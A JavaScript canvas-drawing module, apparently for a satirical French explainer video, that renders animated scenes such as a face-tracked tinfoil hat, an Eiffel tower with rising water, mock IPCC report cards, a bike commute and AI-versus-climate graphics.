  ctx.beginPath(); ctx.roundRect(-w / 2, -h / 2, w, h, 22); ctx.fillStyle = o.solid ? C.sheet : 'rgba(37,142,255,.08)'; ctx.fill();
  ctx.lineWidth = 8; ctx.strokeStyle = C.blue; ctx.stroke();
  ctx.beginPath(); ctx.roundRect(-w / 2 + 12, -h / 2 + 12, w - 24, h - 24, 14); ctx.lineWidth = 2.5; ctx.stroke();
  text(ctx, str, 0, midBase(0, size), { size, weight: 800, ls: -1, align: 'center', color: C.blue });
  ctx.restore();
}

// ---------------------------------------------------------------- face track (assets/faces.json from engine/faces.swift)
let FACES = null;
function faces() {
  if (FACES) return FACES;
  try { const x = new XMLHttpRequest(); x.open('GET', '/p/assets/faces.json', false); x.send(); FACES = x.status === 200 ? JSON.parse(x.responseText) : []; }
  catch { FACES = []; }
  return FACES;
}

// ---------------------------------------------------------------- foilHat (over)
// {layer: 'over', from, to, dropAt, lift: .72 (base above face centre, in face heights), size: 1}
function foilCone(ctx, fw, seed) {
  const bw = fw * .8, hh = fw * 1.18, ax = fw * .06;   // base half-width, height, apex lean
  // faceted cone: rows x cols of jittered vertices, lit from the upper left
  const rows = 6, cols = 9, V = [];
  for (let r = 0; r <= rows; r++) {
    const v = r / rows, row = [];
    for (let c = 0; c <= cols; c++) {
      const u = c / cols, edge = c === 0 || c === cols || r === rows, jx = edge ? 0 : (hash(seed + r * 31 + c * 7) - .5) * fw * .07, jy = r === 0 || r === rows ? 0 : (hash(seed + r * 13 + c * 17) - .5) * fw * .06;
      const half = bw * (1 - v), x = lerp(-half, half, u) + ax * v + jx, y = -hh * v + Math.sin(u * Math.PI) * fw * .1 * (1 - v) + jy;
      row.push([x, y, u]);
    }
    V.push(row);
  }
  for (let r = 0; r < rows; r++) for (let c = 0; c < cols; c++) {
    const a = V[r][c], b = V[r][c + 1], d = V[r + 1][c], e = V[r + 1][c + 1];
    for (const [tri, k] of [[[a, b, e], 0], [[a, e, d], 1]]) {
      const u = (tri[0][2] + tri[1][2] + tri[2][2]) / 3, light = .55 + .45 * Math.cos((u - .32) * Math.PI * 1.1) - .12 * (r / rows);
      const n = hash(seed + r * 97 + c * 41 + k * 5) * .5 - .25, L = clamp(light + n, .05, 1);
      const g = Math.round(lerp(92, 250, L));
      ctx.beginPath(); ctx.moveTo(tri[0][0], tri[0][1]); ctx.lineTo(tri[1][0], tri[1][1]); ctx.lineTo(tri[2][0], tri[2][1]); ctx.closePath();
      ctx.fillStyle = `rgb(${g},${g + 2},${g + 6})`; ctx.fill();
      ctx.strokeStyle = `rgba(255,255,255,${.18 + .3 * hash(seed + r * 11 + c)})`; ctx.lineWidth = 1.2; ctx.stroke();
    }
  }
  // folded rim: a crinkled band around the base
  ctx.beginPath();
  for (let i = 0; i <= 40; i++) { const u = i / 40, x = lerp(-bw * 1.04, bw * 1.04, u), y = Math.sin(u * Math.PI) * fw * .12 + (hash(seed + i * 3) - .5) * fw * .025; i ? ctx.lineTo(x, y) : ctx.moveTo(x, y); }
  for (let i = 40; i >= 0; i--) { const u = i / 40, x = lerp(-bw * 1.04, bw * 1.04, u), y = Math.sin(u * Math.PI) * fw * .12 - fw * .1 + (hash(seed + i * 5) - .5) * fw * .03; ctx.lineTo(x, y); }
  ctx.closePath();
  const rg = ctx.createLinearGradient(-bw, 0, bw, 0);
  rg.addColorStop(0, '#9A9EA6'); rg.addColorStop(.3, '#F4F5F7'); rg.addColorStop(.55, '#B9BDC4'); rg.addColorStop(.8, '#E8E9EC'); rg.addColorStop(1, '#8C9098');
  ctx.fillStyle = rg; ctx.fill(); ctx.strokeStyle = 'rgba(60,64,72,.35)'; ctx.lineWidth = 1.5; ctx.stroke();
  // outline
  ctx.beginPath(); ctx.moveTo(-bw, 0); ctx.lineTo(ax, -hh); ctx.lineTo(bw, 0); ctx.strokeStyle = 'rgba(40,44,52,.35)'; ctx.lineWidth = 2; ctx.stroke();
  // specular streak
  ctx.save(); ctx.globalAlpha = .55; ctx.beginPath(); ctx.moveTo(-bw * .55, -fw * .02); ctx.lineTo(ax - fw * .05, -hh * .92); ctx.lineTo(ax - fw * .02, -hh * .9); ctx.lineTo(-bw * .42, -fw * .02); ctx.closePath(); ctx.fillStyle = '#fff'; ctx.fill(); ctx.restore();
  // antenna + blue ball (the martian touch)
  const tx = ax, ty = -hh;
  ctx.beginPath(); ctx.moveTo(tx, ty + 2); ctx.quadraticCurveTo(tx + fw * .05, ty - fw * .22, tx + fw * .02, ty - fw * .4); ctx.strokeStyle = '#6E737C'; ctx.lineWidth = Math.max(3, fw * .025); ctx.lineCap = 'round'; ctx.stroke();
  const br = fw * .075, bx = tx + fw * .02, by = ty - fw * .4 - br * .6;
  const bg = ctx.createRadialGradient(bx - br * .35, by - br * .35, br * .1, bx, by, br);
  bg.addColorStop(0, '#9CCBFF'); bg.addColorStop(.45, C.blue); bg.addColorStop(1, C.blue2);
  ctx.beginPath(); ctx.arc(bx, by, br, 0, TAU); ctx.fillStyle = bg; ctx.fill();
}
const foilHat = {
  draw(R, s, t) {
    const { ctx } = R, F = faces(); if (!F.length || R.seam >= H - 2) return;
    const fps = R.tl.fps || 30, f = F[clamp(Math.round(t * fps), 0, F.length - 1)]; if (!f || !f[2]) return;
    const drop = S(t - (s.dropAt ?? s.from), 9), out = s.to != null ? S(t - s.to, 10) : 0;
    const a = Math.min(1, drop * 3) * (1 - out); if (a <= .002) return;
    const T = R.camT(t, R.seam), fw = f[2] * T.s * (s.size || .82), fh = f[3] * T.s;
    const cx = T.x0 + f[0] * T.s, cy = T.y0 + f[1] * T.s - fh * (s.lift ?? .66);
    const dy = -(1 - drop) * 1100 - out * 700;
    ctx.save(); ctx.beginPath(); ctx.rect(0, R.seam, W, H - R.seam); ctx.clip();
    ctx.globalAlpha = a; ctx.translate(cx, cy + dy); ctx.rotate((f[4] || 0) * .9 + (1 - drop) * -.25);
    shadow(ctx, -fw * .8, -fw * .1, fw * 1.6, fw * .3, fw * .15, 18, .22, 12);
    foilCone(ctx, fw, 17);
    ctx.restore();
  },
};

// ---------------------------------------------------------------- stampOver (over): {layer: 'over', from, to, text, y, size, rot}
const stampOver = {
  draw(R, s, t) {
    const out = s.to != null ? S(t - s.to, 14) : 0, p = S(t - s.from, 11) * (1 - out);
    stamp(R.ctx, s.x ?? W / 2, s.y ?? 420, s.text, p, { size: s.size || 76, rot: s.rot ?? -.06, solid: true });
  },
};

// ---------------------------------------------------------------- Eiffel tower (line art). base at (cx, by), height h
function eiffel(ctx, cx, by, h, col, lw) {
  const hw = h * .36;   // half base
  const leg = (sgn, inner) => {   // curved leg edge from base to the top neck
    const x0 = cx + sgn * (inner ? hw * .55 : hw), x1 = cx + sgn * h * (inner ? .022 : .04), y1 = by - h * .86;
    ctx.beginPath(); ctx.moveTo(x0, by); ctx.bezierCurveTo(cx + sgn * hw * (inner ? .42 : .7), by - h * .25, cx + sgn * h * .08, by - h * .6, x1, y1); ctx.stroke();
  };
  const xAt = (y, sgn, inner) => {   // approximate edge x at height y (for platforms and bracing)
    const v = clamp((by - y) / (h * .86)); const w0 = inner ? hw * .55 : hw, w1 = h * (inner ? .022 : .04);
    return cx + sgn * lerp(w0, w1, 1 - Math.pow(1 - v, 2.1));
  };
  ctx.save(); ctx.strokeStyle = col; ctx.lineWidth = lw; ctx.lineCap = 'round'; ctx.lineJoin = 'round';
  leg(-1, false); leg(1, false); leg(-1, true); leg(1, true);
  // base arch
  ctx.beginPath(); ctx.moveTo(xAt(by - h * .16, -1, true), by - h * .16); ctx.quadraticCurveTo(cx, by - h * .36, xAt(by - h * .16, 1, true), by - h * .16); ctx.stroke();
  // platforms
  for (const [v, ext] of [[.25, .07], [.52, .045]]) {
    const y = by - h * v, xl = xAt(y, -1) - h * ext, xr = xAt(y, 1) + h * ext;
    ctx.beginPath(); ctx.moveTo(xl, y); ctx.lineTo(xr, y); ctx.moveTo(xl + h * .01, y + h * .03); ctx.lineTo(xr - h * .01, y + h * .03); ctx.stroke();
  }
  // cross bracing in the legs
  ctx.save(); ctx.lineWidth = lw * .45;
  for (const sgn of [-1, 1]) for (let k = 0; k < 7; k++) {
    const y0 = by - h * (.28 + k * .08), y1 = by - h * (.28 + (k + 1) * .08);
    if (y1 < by - h * .84) break;
    ctx.beginPath(); ctx.moveTo(xAt(y0, sgn), y0); ctx.lineTo(xAt(y1, sgn, true), y1); ctx.moveTo(xAt(y0, sgn, true), y0); ctx.lineTo(xAt(y1, sgn), y1); ctx.stroke();
  }
  for (const sgn of [-1, 1]) for (let k = 0; k < 3; k++) {
    const y0 = by - h * (k * .08), y1 = by - h * ((k + 1) * .08);
    ctx.beginPath(); ctx.moveTo(xAt(y0, sgn), y0); ctx.lineTo(xAt(y1, sgn, true), y1); ctx.moveTo(xAt(y0, sgn, true), y0); ctx.lineTo(xAt(y1, sgn), y1); ctx.stroke();
  }
  ctx.restore();
  // top: neck, lantern, spire
  const ny = by - h * .86;
  ctx.beginPath(); ctx.rect(cx - h * .03, ny - h * .04, h * .06, h * .04); ctx.stroke();
  ctx.beginPath(); ctx.moveTo(cx, ny - h * .04); ctx.lineTo(cx, by - h); ctx.stroke();
  ctx.restore();
}
// wavy water surface path, filled down to `bottom`
function water(ctx, y, bottom, t, amp = 10, x0 = 0, x1 = W) {
  ctx.beginPath(); ctx.moveTo(x0, bottom);
  for (let x = x0; x <= x1; x += 12) ctx.lineTo(x, y + Math.sin(x * .012 + t * 1.6) * amp + Math.sin(x * .031 - t * 1.1) * amp * .45);
  ctx.lineTo(x1, bottom); ctx.closePath();
}

// sea: {from, to, base: 1150, h: 700, year: {fromYear, toYear, countFrom, countTo, y}, waterKeys: [[t, level 0..1]],
//   stamp: {text, at}, gauge: {at}, sim: {at}}
const sea = {
  draw(R, s, t) {
    const { ctx } = R, by = s.base ?? 1150, th = s.h ?? 700, cx = W / 2;
    env(ctx, s, t, pin => {
      const sim = s.sim ? E.io(seg(t, s.sim.at, s.sim.at + .9)) : 0, scanY = lerp(150, 1260, sim);
      // simulation grid (only where the scan line has passed)
      if (sim > 0) {
        ctx.save(); ctx.beginPath(); ctx.rect(0, 0, W, scanY); ctx.clip();
        ctx.fillStyle = 'rgba(37,142,255,.05)'; ctx.fillRect(0, 0, W, scanY);
        ctx.strokeStyle = 'rgba(37,142,255,.22)'; ctx.lineWidth = 1.5;
        for (let x = 0; x <= W; x += 60) { ctx.beginPath(); ctx.moveTo(x, 0); ctx.lineTo(x, 1300); ctx.stroke(); }
        for (let y = 0; y <= 1300; y += 60) { ctx.beginPath(); ctx.moveTo(0, y); ctx.lineTo(W, y); ctx.stroke(); }
        ctx.restore();
        if (sim < 1) { ctx.fillStyle = C.blue; ctx.fillRect(0, scanY - 2, W, 4); alpha(ctx, .25, () => { const g = ctx.createLinearGradient(0, scanY - 90, 0, scanY); g.addColorStop(0, 'rgba(37,142,255,0)'); g.addColorStop(1, 'rgba(37,142,255,.5)'); ctx.fillStyle = g; ctx.fillRect(0, scanY - 90, W, 90); }); }
      }
      // tower: draws on from the ground up
      const draw = E.out(seg(t, s.from - (s.pre || 0), s.from - (s.pre || 0) + .9));
      ctx.save(); ctx.beginPath(); ctx.rect(0, lerp(by + 10, by - th - 20, draw), W, th + 60); ctx.clip();
      eiffel(ctx, cx, by, th, C.ink, 6);
      if (sim > 0) { ctx.beginPath(); ctx.rect(0, 0, W, scanY); ctx.clip(); eiffel(ctx, cx, by, th, C.blue, 6); }
      ctx.restore();
      // ground line
      rise(ctx, pin, 0, () => { ctx.strokeStyle = C.ink; ctx.lineWidth = 4; ctx.lineCap = 'round'; ctx.beginPath(); ctx.moveTo(110, by); ctx.lineTo(W - 110, by); ctx.stroke(); });
      // water
      if (s.waterKeys) {
        const lv = track(t, s.waterKeys, 5), wy = by + 14 - th * lv;
        if (lv > .003) {
          ctx.save(); ctx.globalCompositeOperation = 'multiply';
          water(ctx, wy + 14, 1320, t + 1.3, 8); ctx.fillStyle = 'rgba(37,142,255,.13)'; ctx.fill();
          water(ctx, wy, 1320, t, 11); ctx.fillStyle = 'rgba(37,142,255,.2)'; ctx.fill();
          ctx.restore();
          ctx.save(); water(ctx, wy, 1320, t, 11); ctx.strokeStyle = C.blue; ctx.lineWidth = 5; ctx.stroke(); ctx.restore();
        }
      }
      // year counter
      if (s.year) {
        const y = s.year, k = E.io(seg(t, y.countFrom, y.countTo)), yr = Math.round(lerp(y.fromYear, y.toYear, k));
        rise(ctx, P(t, s.from - (s.pre || 0), 12) * (1 - (s.sim ? P(t, s.sim.at, 12) : 0)), 40, () => {
          text(ctx, String(yr), cx, y.y ?? 330, { size: 120, weight: 800, ls: -4, align: 'center', color: k >= 1 ? C.blue : C.ink });
        });
      }
      // sea gauge (right side): needle stuck at 0
      if (s.gauge) {
        const g = P(t, s.gauge.at, 12), gx = 900, top = by - 420;
        rise(ctx, g, 40, () => {
          sheet(ctx, gx - 60, top - 40, 120, 460, 28, { elev: .8 });
          ctx.strokeStyle = C.ink3; ctx.lineWidth = 3;
          for (let i = 0; i <= 10; i++) { const y = top + i * 38, big = i % 5 === 0; ctx.beginPath(); ctx.moveTo(gx - (big ? 34 : 22), y); ctx.lineTo(gx + (big ? 34 : 22), y); ctx.stroke(); }
          const ny = top + 380;
          ctx.fillStyle = C.blue; ctx.beginPath(); ctx.roundRect(gx - 44, ny - 7, 88, 14, 7); ctx.fill();
          chip(ctx, gx - 80, ny, '0 cm', { align: 'right', size: 40, h: 80, fill: C.blue, color: C.white, border: false });
        });
      }
      if (s.stamp) stamp(ctx, s.stamp.x ?? cx, s.stamp.y ?? 760, s.stamp.text, P(t, s.stamp.at, 11), { size: 84, rot: -.08, solid: true });
      if (s.sim) {
        const q = P(t, s.sim.at + .5, 13), str = '> simulation.exe', n = Math.round(str.length * E.out(seg(t, s.sim.at + .5, s.sim.at + 1.2)));
        alpha(ctx, q, () => { sheet(ctx, W / 2 - 280, 250, 560, 96, 22, { elev: .6, fill: C.ink }); text(ctx, str.slice(0, n), W / 2 - 246, midBase(298, 40), { size: 40, weight: 600, fam: 'JetBrains Mono', color: C.white }); });
      }
    });
  },
};

// ---------------------------------------------------------------- giec: flip-book of yearly reports
// {from, to, rect: [x, y, w, h], yearKeys: [[at, 2021], ...], tally: {text, at}}
function report(ctx, x, y, w, h, year) {
  sheet(ctx, x, y, w, h, 30, { elev: 1.3 });
  text(ctx, 'RAPPORT DU GIEC', x + 60, y + 92, { size: 38, weight: 800, ls: 4, color: C.ink2 });
  text(ctx, String(year), x + 56, y + 250, { size: 170, weight: 800, ls: -7, color: C.ink });
  ctx.fillStyle = C.line; ctx.fillRect(x + 60, y + 300, w - 120, 3);
  for (let i = 0; i < 3; i++) { ctx.beginPath(); ctx.roundRect(x + 60, y + 340 + i * 42, (w - 120) * [1, .86, .62][i], 16, 8); ctx.fillStyle = C.dim; ctx.fill(); }
  text(ctx, 'Fin du monde :', x + 60, y + h - 70, { size: 46, weight: 800, color: C.ink });
  chip(ctx, x + w - 60, y + h - 86, 'dans 5 ans', { align: 'right', size: 46, h: 92, fill: C.blue, color: C.white, border: false });
}
const giec = {
  draw(R, s, t) {
    const { ctx } = R, [x, y, w, h] = s.rect || [120, 340, 840, 620];
    env(ctx, s, t, pin => {
      rise(ctx, pin, 60, () => {
        const ys = s.yearKeys; let i = 0; while (i + 1 < ys.length && t >= ys[i + 1][0]) i++;
        const nextAt = ys[i + 1]?.[0], curAt = ys[i][0];
        // outgoing report slides left, the new one arrives from the right
        if (i > 0) { const p = S(t - curAt, 13); if (p < .999) alpha(ctx, 1 - p, () => { ctx.save(); ctx.translate(-260 * p, 0); ctx.rotate(-.02 * p); report(ctx, x, y, w, h, ys[i - 1][1]); ctx.restore(); }); }
        const p = i > 0 ? S(t - curAt, 13) : 1;
        alpha(ctx, Math.min(1, p * 1.4), () => { ctx.save(); ctx.translate(320 * (1 - p), 0); report(ctx, x, y, w, h, ys[i][1]); ctx.restore(); });
        void nextAt;
        // tally row: one dot per report seen so far
        const n = ys.filter(([a]) => t >= a).length, dx = 44, x0 = W / 2 - (ys.length - 1) * dx / 2;
        for (let k = 0; k < ys.length; k++) { const q = P(t, ys[k][0], 14); ctx.beginPath(); ctx.arc(x0 + k * dx, y + h + 70, 11, 0, TAU); ctx.fillStyle = k < n ? mix(C.dim, C.ink, q) : C.dim; ctx.fill(); }
      });
      if (s.tally) { const q = P(t, s.tally.at, 13); if (q > .002) rise(ctx, q, 24, () => chip(ctx, W / 2, y + h + 160, s.tally.text, { size: 42, h: 88 })); }
    });
  },
};

// ---------------------------------------------------------------- bike: bins, then a 100 km commute
function bin(ctx, x, y, w, h, lbl) {
  sheet(ctx, x, y + 40, w, h - 40, 26, { elev: .9 });
  ctx.beginPath(); ctx.roundRect(x - 14, y, w + 28, 46, 16); ctx.fillStyle = C.ink; ctx.fill();
  ctx.beginPath(); ctx.roundRect(x + w / 2 - 34, y - 18, 68, 26, 10); ctx.strokeStyle = C.ink; ctx.lineWidth = 7; ctx.stroke();
  ctx.strokeStyle = C.dim; ctx.lineWidth = 8; ctx.lineCap = 'round';
  for (let i = 1; i < 4; i++) { const lx = x + w * i / 4; ctx.beginPath(); ctx.moveTo(lx, y + 90); ctx.lineTo(lx, y + h - 40); ctx.stroke(); }
  text(ctx, lbl, x + w / 2, y + h + 64, { size: 40, weight: 700, align: 'center', color: C.ink2 });
}
function bikeIcon(ctx, x, y, s, col, rot) {   // (x, y) = ground contact centre
  ctx.save(); ctx.translate(x, y); ctx.rotate(rot); ctx.scale(s, s); ctx.strokeStyle = col; ctx.lineWidth = 6; ctx.lineCap = 'round'; ctx.lineJoin = 'round';
  const r = 26;
  for (const wx of [-38, 38]) { ctx.beginPath(); ctx.arc(wx, -r, r, 0, TAU); ctx.stroke(); }
  ctx.beginPath(); ctx.moveTo(-38, -r); ctx.lineTo(-8, -r); ctx.lineTo(18, -62); ctx.lineTo(-18, -62); ctx.lineTo(-8, -r); ctx.moveTo(-18, -62); ctx.lineTo(-38, -r); ctx.moveTo(18, -62); ctx.lineTo(38, -r); ctx.moveTo(18, -62); ctx.lineTo(14, -78); ctx.lineTo(26, -80); ctx.moveTo(-20, -68); ctx.lineTo(-10, -68); ctx.stroke();
  ctx.restore();
}
function house(ctx, x, y, col) { ctx.save(); ctx.strokeStyle = col; ctx.lineWidth = 6; ctx.lineJoin = 'round'; ctx.beginPath(); ctx.moveTo(x - 44, y); ctx.lineTo(x - 44, y - 56); ctx.lineTo(x, y - 94); ctx.lineTo(x + 44, y - 56); ctx.lineTo(x + 44, y); ctx.closePath(); ctx.stroke(); ctx.strokeRect(x - 12, y - 36, 24, 36); ctx.restore(); }
function office(ctx, x, y, col) {
  ctx.save(); ctx.strokeStyle = col; ctx.lineWidth = 6; ctx.strokeRect(x - 40, y - 130, 80, 130);
  ctx.fillStyle = col; for (let r = 0; r < 4; r++) for (let c = 0; c < 2; c++) ctx.fillRect(x - 24 + c * 30, y - 112 + r * 26, 16, 12); ctx.restore();
}
// {from, to, bins: {from, to, labels, strikeAt}, route: {from, countFrom, countTo, km, header}, sun: {from, to}}
const bike = {
  draw(R, s, t) {
    const { ctx } = R;
    env(ctx, s, t, () => {
      const b = s.bins;
      if (b) {
        const pin = S(t - b.from + (s.pre || 0), 12), out = b.to != null ? S(t - b.to, 14) : 0;
        alpha(ctx, 1 - out, () => {
          ctx.translate(0, -40 * out);
          const bw = 220, bh = 300, gap = 70, x0 = W / 2 - (bw * 3 + gap * 2) / 2, y = 470;
          (b.labels || ['Verre', 'Papier', 'Plastique']).forEach((l, i) => rise(ctx, S(t - b.from + (s.pre || 0) - i * .08, 12), 60, () => bin(ctx, x0 + i * (bw + gap), y, bw, bh, l)));
          void pin;
          const st = E.out(seg(t, b.strikeAt, b.strikeAt + .35));
          if (st > 0) {
            ctx.save(); ctx.strokeStyle = C.blue; ctx.lineWidth = 16; ctx.lineCap = 'round';
            const ax = x0 - 30, ay = y + bh + 40, bx = x0 + bw * 3 + gap * 2 + 30, by2 = y - 60;
            ctx.beginPath(); ctx.moveTo(ax, ay); ctx.lineTo(lerp(ax, bx, st), lerp(ay, by2, st)); ctx.stroke(); ctx.restore();
          }
        });
      }
      const r = s.route;
      if (r && t > r.from - .6) {
        const pin = S(t - r.from, 12);
        const pts = [[150, 1000], [330, 1000], [420, 760], [620, 860], [760, 620], [880, 650]];
        const path = u => {   // catmull-rom through pts, u 0..1
          const n = pts.length - 1, f = clamp(u) * n, i = Math.min(n - 1, Math.floor(f)), k = f - i;
          const p0 = pts[Math.max(0, i - 1)], p1 = pts[i], p2 = pts[i + 1], p3 = pts[Math.min(n, i + 2)];
          const cr = (a, b2, c, d) => .5 * ((2 * b2) + (-a + c) * k + (2 * a - 5 * b2 + 4 * c - d) * k * k + (-a + 3 * b2 - 3 * c + d) * k * k * k);
          return [cr(p0[0], p1[0], p2[0], p3[0]), cr(p0[1], p1[1], p2[1], p3[1])];
        };
        const prog = E.io(seg(t, r.countFrom, r.countTo));
        rise(ctx, pin, 50, () => {
          // sun crossing the sky (a day passes)
          if (s.sun) {
            const q = seg(t, s.sun.from, s.sun.to), a = Math.PI * (1 - q), sx = W / 2 + Math.cos(a) * 330, sy = 760 - Math.sin(a) * 290;
            alpha(ctx, P(t, s.sun.from - .3, 10) * (1 - S(t - s.sun.to, 10)), () => {
              ctx.strokeStyle = C.line; ctx.lineWidth = 3; ctx.setLineDash([4, 14]); ctx.beginPath(); ctx.ellipse(W / 2, 760, 330, 290, 0, Math.PI, TAU); ctx.stroke(); ctx.setLineDash([]);
              ctx.beginPath(); ctx.arc(sx, sy, 38, 0, TAU); ctx.fillStyle = C.sheet; ctx.fill(); ctx.strokeStyle = C.ink; ctx.lineWidth = 6; ctx.stroke();
              ctx.lineCap = 'round'; for (let i = 0; i < 8; i++) { const an = i * TAU / 8; ctx.beginPath(); ctx.moveTo(sx + Math.cos(an) * 54, sy + Math.sin(an) * 54); ctx.lineTo(sx + Math.cos(an) * 70, sy + Math.sin(an) * 70); ctx.stroke(); }
            });
          }
          // road
          ctx.lineCap = 'round'; ctx.lineJoin = 'round';
          ctx.beginPath(); for (let i = 0; i <= 80; i++) { const [x, y] = path(i / 80); i ? ctx.lineTo(x, y) : ctx.moveTo(x, y); }
          ctx.strokeStyle = C.dim; ctx.lineWidth = 22; ctx.stroke();
          ctx.setLineDash([2, 22]); ctx.strokeStyle = C.sheet; ctx.lineWidth = 6; ctx.stroke(); ctx.setLineDash([]);
          if (prog > 0) { ctx.beginPath(); for (let i = 0; i <= 80 * prog; i++) { const [x, y] = path(i / 80); i ? ctx.lineTo(x, y) : ctx.moveTo(x, y); } ctx.strokeStyle = C.blue; ctx.lineWidth = 10; ctx.stroke(); }
          house(ctx, 110, 1000, C.ink); office(ctx, 975, 640, C.ink);
          const [bx, byy] = path(prog), [nx, ny] = path(Math.min(1, prog + .01));
          bikeIcon(ctx, bx, byy - 12, 1.1, C.ink, Math.atan2(ny - byy, nx - bx) * .6);
          // km counter
          const km = Math.round((r.km ?? 100) * prog);
          text(ctx, String(km), W / 2 + 40, 330, { size: 150, weight: 800, ls: -6, align: 'right', color: C.ink });
          text(ctx, 'km', W / 2 + 64, 330, { size: 150, weight: 800, ls: -6, color: C.blue });
        });
      }
    });
  },
};

// ---------------------------------------------------------------- equation: CQFD, IA = climat x10
function thermo(ctx, cx, cy, s, fill) {
  ctx.save(); ctx.translate(cx, cy); ctx.scale(s, s); ctx.lineWidth = 8; ctx.strokeStyle = C.ink; ctx.lineCap = 'round';
  ctx.beginPath(); ctx.arc(0, 60, 34, -Math.PI * .32, Math.PI * 1.32); ctx.lineTo(-18, -80); ctx.arc(0, -80, 18, Math.PI, 0); ctx.closePath(); ctx.stroke();
  ctx.beginPath(); ctx.arc(0, 60, 22, 0, TAU); ctx.fillStyle = C.blue; ctx.fill();
  const top = lerp(40, -84, fill); ctx.beginPath(); ctx.roundRect(-8, top, 16, 60 - top, 8); ctx.fill();
  for (let i = 0; i < 4; i++) { ctx.beginPath(); ctx.moveTo(26, -70 + i * 26); ctx.lineTo(40, -70 + i * 26); ctx.lineWidth = 5; ctx.stroke(); }
  ctx.restore();
}
// {from, to, cqfd: {at}, ia: {at}, climate: {at, fillFrom, fillTo}, boost: {at, text}, end: {at, text}}
const equation = {
  draw(R, s, t) {
    const { ctx } = R, size = 290, y = 540, xl = 120, xr = W - 120 - size;
    env(ctx, s, t, () => {
      if (s.cqfd) stamp(ctx, W / 2, 320, 'CQFD', P(t, s.cqfd.at, 11), { size: 96, rot: -.05, solid: true });
      const pa = P(t, s.ia?.at, 12), pc = P(t, s.climate?.at, 12);
      if (pa > .002) rise(ctx, pa, 60, () => {
        sheet(ctx, xl, y, size, size, 62, { elev: 1.2 });
        text(ctx, 'IA', xl + size / 2, midBase(y + size / 2, 150), { size: 150, weight: 800, ls: -6, align: 'center', color: C.blue });
        text(ctx, "L'IA", xl + size / 2, y + size + 70, { size: 44, weight: 800, align: 'center', color: C.ink });
      });
      const eq = P(t, s.climate?.at != null ? s.climate.at - .1 : null, 13);
      if (eq > .002) rise(ctx, eq, 30, () => text(ctx, '=', W / 2, midBase(y + size / 2, 140), { size: 140, weight: 800, align: 'center', color: C.ink3 }));
      if (pc > .002) rise(ctx, pc, 60, () => {
        sheet(ctx, xr, y, size, size, 62, { elev: 1.2 });
        thermo(ctx, xr + size / 2 - 8, y + size / 2 + 6, 1.05, E.io(seg(t, s.climate.fillFrom ?? s.climate.at, s.climate.fillTo ?? s.climate.at + 1)));
        text(ctx, 'Le climat', xr + size / 2, y + size + 70, { size: 44, weight: 800, align: 'center', color: C.ink });
      });
      if (s.boost) { const q = P(t, s.boost.at, 12); if (q > .002) rise(ctx, q, 30, () => chip(ctx, xr + size + 16, y - 10, s.boost.text || '×10', { align: 'right', size: 58, h: 108, padX: 34, fill: C.blue, color: C.white, border: false, scale: .9 + .1 * q })); }
      if (s.end) stamp(ctx, W / 2, 1080, s.end.text, P(t, s.end.at, 11), { size: 70, rot: .05, solid: true });
    });
  },
};

// ---------------------------------------------------------------- crowd: GPT -> Mistral, then the pyramid
const OPENAI = typeof Path2D !== 'undefined' ? new Path2D('M252.794 108.802C289.191 99.0484 326.265 110.305 351.148 135.135C385.113 126.072 422.85 134.862 449.492 161.505C476.136 188.149 484.925 225.888 475.862 259.85V259.854C500.696 284.735 511.95 321.81 502.198 358.207C492.447 394.602 464.161 421.084 430.215 430.217C421.083 464.162 394.603 492.448 358.206 502.199C321.812 511.951 284.734 500.693 259.852 475.864C225.887 484.927 188.15 476.137 161.507 449.495C134.864 422.851 126.073 385.111 135.136 351.149C110.304 326.266 99.0496 289.192 108.801 252.795C118.552 216.4 146.84 189.918 180.784 180.785C189.917 146.841 216.396 118.553 252.794 108.802ZM374.292 407.145C374.292 411.271 372.092 415.086 368.517 417.148L283.723 466.102C302.487 480.585 327.555 486.459 352.217 479.852C386.997 470.532 410.068 439.312 410.555 405.006V317.717C410.555 315.08 409.125 312.621 406.843 311.303L374.292 292.509V407.145ZM251.868 415.897C248.296 417.959 243.893 417.959 240.317 415.897L155.526 366.942C152.366 390.436 159.811 415.08 177.866 433.136H177.863C203.325 458.594 241.896 462.962 271.85 446.232L347.449 402.586C349.735 401.268 351.148 398.8 351.148 396.163V358.579L251.868 415.897ZM368.602 220.628C366.319 219.309 363.474 219.318 361.191 220.637L328.641 239.431L427.921 296.749C431.496 298.811 433.697 302.627 433.697 306.752V404.661C455.622 395.654 473.244 376.881 479.851 352.218C489.169 317.442 473.668 281.85 444.201 264.274L368.602 220.628ZM177.303 206.34C155.377 215.348 137.756 234.122 131.148 258.783C121.832 293.561 137.331 329.153 166.799 346.727L242.398 390.373C244.68 391.692 247.525 391.684 249.807 390.366L282.357 371.572L183.078 314.253C179.504 312.189 177.303 308.375 177.303 304.251V206.34ZM259.849 279.145V331.858L305.5 358.213L351.15 331.858V279.145L305.5 252.789L259.849 279.145ZM327.276 144.9C308.512 130.418 283.445 124.543 258.782 131.15C224.002 140.471 200.931 171.691 200.445 205.995V293.286C200.445 295.923 201.875 298.381 204.158 299.7L236.707 318.493V203.856C236.707 199.731 238.909 195.916 242.483 193.853L327.276 144.9ZM433.137 177.867C407.675 152.407 369.103 148.038 339.149 164.769L263.55 208.415C261.265 209.734 259.852 212.202 259.852 214.838V252.423L359.132 195.105C362.703 193.041 367.108 193.041 370.682 195.105L455.473 244.06C458.635 220.567 451.189 195.922 433.135 177.867H433.137Z') : null;
function openaiLogo(ctx, cx, cy, size, col) { ctx.save(); const k = size / 420; ctx.translate(cx - 305.5 * k, cy - 305.5 * k); ctx.scale(k, k); ctx.fillStyle = col; ctx.fill(OPENAI, 'evenodd'); ctx.restore(); }
// Mistral "M" in pixel blocks (5 x 5 grid of 46.5 px cells on a 256 x 233 art board), front face ink, shadow ink3
const MISTRAL = [[0, 0], [4, 0], [0, 1], [1, 1], [3, 1], [4, 1], [0, 2], [2, 2], [4, 2], [0, 3], [4, 3], [0, 4], [4, 4]];
function mistralLogo(ctx, cx, cy, size, col, col2) {
  const c = size / 5.5, x0 = cx - size / 2, y0 = cy - c * 2.5;
  for (const [gx, gy] of MISTRAL) { ctx.fillStyle = col2; ctx.fillRect(x0 + gx * c, y0 + gy * c, c, c); ctx.fillStyle = col; ctx.fillRect(x0 + gx * c + c * .5, y0 + gy * c, c, c); }
}
function logoTile(ctx, x, y, size, kind, act, lbl) {
  sheet(ctx, x, y, size, size, 58, { elev: .5 + .7 * act });
  if (act > .01) alpha(ctx, act, () => { ctx.beginPath(); ctx.roundRect(x - 9, y - 9, size + 18, size + 18, 66); ctx.strokeStyle = C.blue; ctx.lineWidth = 6; ctx.stroke(); });
  const col = mix(C.ink3, C.ink, .35 + .65 * act);
